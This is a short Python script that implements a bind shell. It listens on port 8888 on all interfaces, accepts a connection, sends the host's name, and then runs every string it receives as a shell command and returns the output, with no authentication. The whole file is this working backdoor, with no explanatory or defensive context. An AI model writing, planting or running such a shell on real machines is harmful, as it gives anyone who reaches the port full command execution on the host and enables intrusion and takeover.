import os
import socket
import subprocess

if __name__ == '__main__':
    client_ip = '0.0.0.0'
    client_port = 8888
    serverSocket = socket.socket()
    serverSocket.bind((client_ip, client_port))
    serverSocket.listen(1)
    conn, addr = serverSocket.accept()
    hostName = subprocess.check_output("hostname")
    conn.sendall(hostName)
    while True:
        ret = conn.recv(1024).decode()
        conn.sendall(os.popen(ret).read().encode())

